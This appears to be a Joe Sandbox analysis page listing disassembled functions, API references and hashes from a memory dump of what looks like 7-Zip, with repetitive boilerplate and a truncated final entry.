Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: CriticalSectionfputs$EnterLeavefree
String ID: :
API String ID: 1989314732-3653984579
Opcode ID: c7219ff94ad641548069c3c2d821b28e0e7cb5fb03aed72e0eb85cefbeb7bda8
Instruction ID: 78415c87dca715288de24aed58b682c9d7d486d5aa2aa106dd7be5f8fc9c6f83
Opcode Fuzzy Hash: c7219ff94ad641548069c3c2d821b28e0e7cb5fb03aed72e0eb85cefbeb7bda8
Instruction Fuzzy Hash: A1312A76200A4481DB27DF25D8557EE2320F788FA9F595236DE5E4B7A8CF78C989C310

Function 00343162 Relevance: 10.0, APIs: 8, Instructions: 42COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00343174
free.MSVCRT ref: 0034317E
free.MSVCRT ref: 00343189
free.MSVCRT ref: 00343197
free.MSVCRT ref: 003431C0
free.MSVCRT ref: 003431C9
free.MSVCRT ref: 003431D7
free.MSVCRT ref: 003431E2

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
Instruction ID: f8a210de40a63e35f25f62d804fa5acd2a134e3ac544d15fff79524f18b783de
Opcode Fuzzy Hash: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
Instruction Fuzzy Hash: 0DF0B42234A59099CA1AFF32C4956AF6750FBCBF80F042171EB4E67725CF28C456C304

Function 003430A8 Relevance: 10.0, APIs: 8, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003430BA
free.MSVCRT ref: 003430C4
free.MSVCRT ref: 003430CF
free.MSVCRT ref: 003430DD
free.MSVCRT ref: 00343104
free.MSVCRT ref: 0034310D
free.MSVCRT ref: 0034311B
free.MSVCRT ref: 00343126

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
Instruction ID: 6efc4da316d6826ddab5bfb1c32532d54f3adb0d22a8ce8ec33f8d0c206773d9
Opcode Fuzzy Hash: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
Instruction Fuzzy Hash: 76F0542224A98059CA1AFF32C4A56AF6720FBCBF85F051171EF5E27711CE28C496C304

Function 0034324C Relevance: 10.0, APIs: 8, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0034325E
free.MSVCRT ref: 00343268
free.MSVCRT ref: 00343273
free.MSVCRT ref: 00343281
free.MSVCRT ref: 003432A8
free.MSVCRT ref: 003432B1
free.MSVCRT ref: 003432BF
free.MSVCRT ref: 003432CA

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2522e248d28b65a1e432d56d56702000484c5aa2c33acbb552cec4aae837ae87
Instruction ID: 7b9e020f423689dd9baa656972d31baf4b545e1976c6c582b24424955f945a85
Opcode Fuzzy Hash: 2522e248d28b65a1e432d56d56702000484c5aa2c33acbb552cec4aae837ae87
Instruction Fuzzy Hash: 10F05B2224A98159CA1AFF32C85566F6720F7CBF81F051171AF4F67711CE38C456C704

Function 0034333D Relevance: 10.0, APIs: 8, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0034334F
free.MSVCRT ref: 00343359
free.MSVCRT ref: 00343364
free.MSVCRT ref: 00343372
free.MSVCRT ref: 00343399
free.MSVCRT ref: 003433A2
free.MSVCRT ref: 003433B0
free.MSVCRT ref: 003433BB

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: eef51832cb1860b1a47471d2ecdbd40fe6516d0eb3dd3788043c37f3bbfc7144
Instruction ID: 13b08ce68b1c66187dfa075343fa4ccbae5155c6833852337ac8d90f4ce15404
Opcode Fuzzy Hash: eef51832cb1860b1a47471d2ecdbd40fe6516d0eb3dd3788043c37f3bbfc7144
Instruction Fuzzy Hash: 9CF0542224A58099CA1AFF32C4A56AF6720FBCBF81F051171AF4E27711CE28C456C704

Function 0035B310 Relevance: 10.0, APIs: 8, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 0035B1C8: memset.MSVCRT ref: 0035B20D
Part of subcall function 0035B1C8: fputs.MSVCRT ref: 0035B232

free.MSVCRT ref: 0035B335
free.MSVCRT ref: 0035B342
free.MSVCRT ref: 0035B34E
free.MSVCRT ref: 0035B358
free.MSVCRT ref: 0035B362
free.MSVCRT ref: 0035B36C
free.MSVCRT ref: 0035B376
free.MSVCRT ref: 0035B380

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$fputsmemset
String ID:
API String ID: 469995913-0
Opcode ID: d08ec6cc8013b459c16a183cb8820a8405a66458fcd2ec61ca7be2be00b49645
Instruction ID: 0a9685a58285b5eae0c342c7d427b8ab6092f939525d5074b6d11f5ed71d2797
Opcode Fuzzy Hash: d08ec6cc8013b459c16a183cb8820a8405a66458fcd2ec61ca7be2be00b49645
Instruction Fuzzy Hash: 77F0D62225194095C759FF31D8525AF6321E7CBF68B045371AF6D5F3A9CE20C4A7C344

Function 00311364 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 172COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00311558

Strings

Too long switch:, xrefs: 0031159F
Multiple instances for switch:, xrefs: 0031145B
Unknown switch:, xrefs: 0031142C
Incorrect switch postfix:, xrefs: 003114F8, 00311584
Too short switch:, xrefs: 0031148A

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID: Incorrect switch postfix:$Multiple instances for switch:$Too long switch:$Too short switch:$Unknown switch:
API String ID: 1294909896-2104980125
Opcode ID: e608d69ddf76c65373c44b70f7ae3aeb3f136de1000bdcda8d63e8efa4483270
Instruction ID: 1912b74b6c066da34125643912eb55f1a46d8f291076417c6d14aee2d0459bcd
Opcode Fuzzy Hash: e608d69ddf76c65373c44b70f7ae3aeb3f136de1000bdcda8d63e8efa4483270
Instruction Fuzzy Hash: 1B511662214AD0A6CF3BEF25D4402EE7766F38A798F848621D79A4B755EF34C5C6C700

Function 00320358 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003204EE

Part of subcall function 0031FEC8: _CxxThrowException.MSVCRT ref: 0031FF2F
Part of subcall function 0031FEC8: free.MSVCRT ref: 0031FFAE
Part of subcall function 0031FEC8: _CxxThrowException.MSVCRT ref: 0031FFD1
Part of subcall function 0031FEC8: _CxxThrowException.MSVCRT ref: 0031FFF7
Part of subcall function 0031FEC8: _CxxThrowException.MSVCRT ref: 0032002B

free.MSVCRT ref: 00320523
_CxxThrowException.MSVCRT ref: 00320564

Strings

Incorrect wildcard type marker, xrefs: 0032052A
Too short switch, xrefs: 0032050C, 00320515

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ExceptionThrow$free
String ID: Incorrect wildcard type marker$Too short switch
API String ID: 3129652135-1817034180
Opcode ID: f2458bf291f458b2712c5f00df2031021bba44effe0b8784fcef15973866768f
Instruction ID: d37779105f9322adb8214ade990174d12534aab7fb0ed1b41f90598de4943cb5
Opcode Fuzzy Hash: f2458bf291f458b2712c5f00df2031021bba44effe0b8784fcef15973866768f
Instruction Fuzzy Hash: 4251D5332086E495CB2AEF26F45079EBB34F386B94F558116EF8907B56DB38C589CB00

Function 0034E2F0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0034E36E
free.MSVCRT ref: 0034E3C8
free.MSVCRT ref: 0034E44C

Part of subcall function 00313404: free.MSVCRT ref: 00313431
Part of subcall function 00313404: memmove.MSVCRT ref: 0031344C

free.MSVCRT ref: 0034E486
free.MSVCRT ref: 0034E4E4

Strings

#, xrefs: 0034E494

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmove
String ID: #
API String ID: 1534225298-1885708031
Opcode ID: 88dd9615235185287fb0baae77512b6b30fd0ad49e52e1feae422806fc2f9e0a
Instruction ID: abf69e13d3fd52c91103b361bff22e5e2fc1770ad4f9aaba9cd9793dba6c3ff3
Opcode Fuzzy Hash: 88dd9615235185287fb0baae77512b6b30fd0ad49e52e1feae422806fc2f9e0a
Instruction Fuzzy Hash: B3518126314B8482CB66CF26E4807AE7765F7C9B94F544221EB9E4B7A5DF3CD849C700

Function 003111B8 Relevance: 8.8, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00313314: memmove.MSVCRT ref: 00313339

free.MSVCRT ref: 00311215
free.MSVCRT ref: 0031121D
free.MSVCRT ref: 003112AA
free.MSVCRT ref: 003112B5
free.MSVCRT ref: 003112C4
free.MSVCRT ref: 003112CF
free.MSVCRT ref: 003112DA

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 5dbb136250ba67db7f9c767b0f337fdb521cef1fb26903d33d9bfc2baab15fa3
Instruction ID: 12733b136d908cab76f92c92bb1410ebf450b72d58aa06f3366763d08a20bf70
Opcode Fuzzy Hash: 5dbb136250ba67db7f9c767b0f337fdb521cef1fb26903d33d9bfc2baab15fa3
Instruction Fuzzy Hash: 4A21C82221594065CE2AEF24E8511DEA720EBCE7D0F541221FB5E4B7A9DF38C6C7C700

Function 0033D078 Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0033D0AB
free.MSVCRT ref: 0033D0B8
free.MSVCRT ref: 0033D0EB
free.MSVCRT ref: 0033D0F3
free.MSVCRT ref: 0033D103
free.MSVCRT ref: 0033D10D
free.MSVCRT ref: 0033D117

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
Instruction ID: ef3bf49bd73f0be94fcc18c2bb1ca09f2a609272b30e8f1be2122f96b7006bdd
Opcode Fuzzy Hash: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
Instruction Fuzzy Hash: 0C11292330198499C716EF35D8516AE2320E7C7FA4F1943719F6D5B795CE24C897C314

Function 0035430C Relevance: 8.8, APIs: 7, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0035431C
free.MSVCRT ref: 00354325
free.MSVCRT ref: 0035432E
free.MSVCRT ref: 00354337
free.MSVCRT ref: 00354362
free.MSVCRT ref: 0035436B
free.MSVCRT ref: 00354373

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 68bdc44b06e71d8ca899e980b2fc608d9b8ec41ef539896fcf9a05c16de42b60
Instruction ID: d9b78ef7013bc4c52291ce57587a4f470c5c36e6f3ce3771085d5179ca5add43
Opcode Fuzzy Hash: 68bdc44b06e71d8ca899e980b2fc608d9b8ec41ef539896fcf9a05c16de42b60
Instruction Fuzzy Hash: F7F031137118509DCB1AEF36DD515AD2320AB8BFD97194271AF1D5F365CE20C8E38380

Function 00320160 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003201D7
_CxxThrowException.MSVCRT ref: 003202EA

Part of subcall function 0031FD30: _CxxThrowException.MSVCRT ref: 0031FE50

_CxxThrowException.MSVCRT ref: 0032031F

Strings

There is no second file name for rename pair:, xrefs: 00320302
Empty file path, xrefs: 003202CD

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ExceptionThrow$free
String ID: Empty file path$There is no second file name for rename pair:
API String ID: 3129652135-1725603831
Opcode ID: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
Instruction ID: bb6babb38d041d79518817271d8227d9a596f584edb801de6a418d9518e36613
Opcode Fuzzy Hash: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
Instruction Fuzzy Hash: 1D41E372208694C5CA3ADB19F84079E6720F39A7B4F504712DFB907BEADB39C599CB40

Function 00357080 Relevance: 7.6, APIs: 6, Instructions: 77COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 003570EC
free.MSVCRT ref: 003570F4
free.MSVCRT ref: 00357101
free.MSVCRT ref: 0035712E
free.MSVCRT ref: 00357136
free.MSVCRT ref: 00357143

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
Instruction ID: 296bc8151b18d3a8f4e2ac0987e577e4f9ffe9ba0ed9b6ae8275a448ba2db2ee
Opcode Fuzzy Hash: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
Instruction Fuzzy Hash: EF214167701E4089CB26DF35E4507696360EB86FA9F2A4321DF2D1B7A8DF35C846C350

Function 00338290 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 0031B544: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,Path64,003382CA), ref: 0031B56F

Part of subcall function 0031B45C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 0031B4AA
Part of subcall function 0031B45C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 0031B4F8

free.MSVCRT ref: 00338343

Part of subcall function 00313404: free.MSVCRT ref: 00313431
Part of subcall function 00313404: memmove.MSVCRT ref: 0031344C

Part of subcall function 00318624: free.MSVCRT ref: 003186A9

free.MSVCRT ref: 0033832B
free.MSVCRT ref: 00338336

Strings

Software\7-zip, xrefs: 003382B7
7z.dll, xrefs: 00338307

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$QueryValue$Openmemmove
String ID: 7z.dll$Software\7-zip
API String ID: 2771487249-1558686312
Opcode ID: 232e922c7f0ce51f826d985996c137ff839169f93ea0f5e4105b3c8395333e57
Instruction ID: 6a3db05e5ce6064b2252247650903baa38191b33dd65c1bdf65eef587f929cd2
Opcode Fuzzy Hash: 232e922c7f0ce51f826d985996c137ff839169f93ea0f5e4105b3c8395333e57
Instruction Fuzzy Hash: 3E11CA55304A4050CA26FB12D4513DEA725EBDABE0F845321BE5E4F766DF28C6CAC700

Function 0035225C Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00352281
fputs.MSVCRT ref: 003522B7
free.MSVCRT ref: 003522C3
fputs.MSVCRT ref: 003522D9
fputs.MSVCRT ref: 00352303

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs$free
String ID:
API String ID: 3873070119-0
Opcode ID: 689b2ef2104b8583ad3e374e0ff24f5fd2d7cb2a6ea87d3443a7ff945e4a4c65
Instruction ID: dcb7616aaee1a43780eeebbf5b52599b2c912f7a937cdf32c53b398654146142
Opcode Fuzzy Hash: 689b2ef2104b8583ad3e374e0ff24f5fd2d7cb2a6ea87d3443a7ff945e4a4c65
Instruction Fuzzy Hash: 8B11606731494196DB21DF25E94076E6330F799BA5F404221FFAE47BB4DF28CA55C700

Function 003510C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 003510EB
fputs.MSVCRT ref: 00351153
LeaveCriticalSection.KERNEL32 ref: 0035118D

Strings

ERROR: , xrefs: 0035114C

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: CriticalSection$EnterLeavefputs
String ID: ERROR:
API String ID: 4171338575-977468659
Opcode ID: 51b65b70fd9636ec3d92d8d392cf87c406234df2004214009f2d2c7c063ef683
Instruction ID: f4d1134dfb095ae23a5d3da1c35a8a3ff4e6fc061c70badd661fad7ded2c2809
Opcode Fuzzy Hash: 51b65b70fd9636ec3d92d8d392cf87c406234df2004214009f2d2c7c063ef683
Instruction Fuzzy Hash: D111C172301D8185DB1BDF25EC007AD6325FB89FA6F588231DE6E0B6A4CF388599C310

Function 00352344 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00352375
fputs.MSVCRT ref: 00352383

Part of subcall function 00312300: fputc.MSVCRT ref: 00312311

Strings

, xrefs: 0035235E
:, xrefs: 00352359

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs$fputc
String ID: $:
API String ID: 1185151155-4041779174
Opcode ID: 0876c551c5b7590e0ff57701a7544b73fa63f79d82255e9a5707c5629e0c0e90
Instruction ID: bbc5f51778f6a48386fa2b04a74a201d8c3e886db72bc387d8d1f21769d509ca
Opcode Fuzzy Hash: 0876c551c5b7590e0ff57701a7544b73fa63f79d82255e9a5707c5629e0c0e90
Instruction Fuzzy Hash: 17E06D9A304A8085DB169B26E95439D6325FB9DFCDF488122EE8E0B729DE2CC248C711

Function 003471BC Relevance: 6.5, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0034734A
free.MSVCRT ref: 00347355
GetLastError.KERNEL32 ref: 003473AC
free.MSVCRT ref: 003473B9
free.MSVCRT ref: 003473C4

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$ErrorLast
String ID:
API String ID: 408039514-0
Opcode ID: d7c40869ad587d79d1a4cde6791f56a7827730960875fe2f1716f54cae6806b2
Instruction ID: 8942185ee1fdd142780c072412d3c3762143e0f934412728bef4d283742fb129
Opcode Fuzzy Hash: d7c40869ad587d79d1a4cde6791f56a7827730960875fe2f1716f54cae6806b2
Instruction Fuzzy Hash: 9181BF32315A4082CB26DF26D44076E77B1F788BA4F544625EF9E4BB68EF38D891C700

Function 00324210 Relevance: 6.4, APIs: 5, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
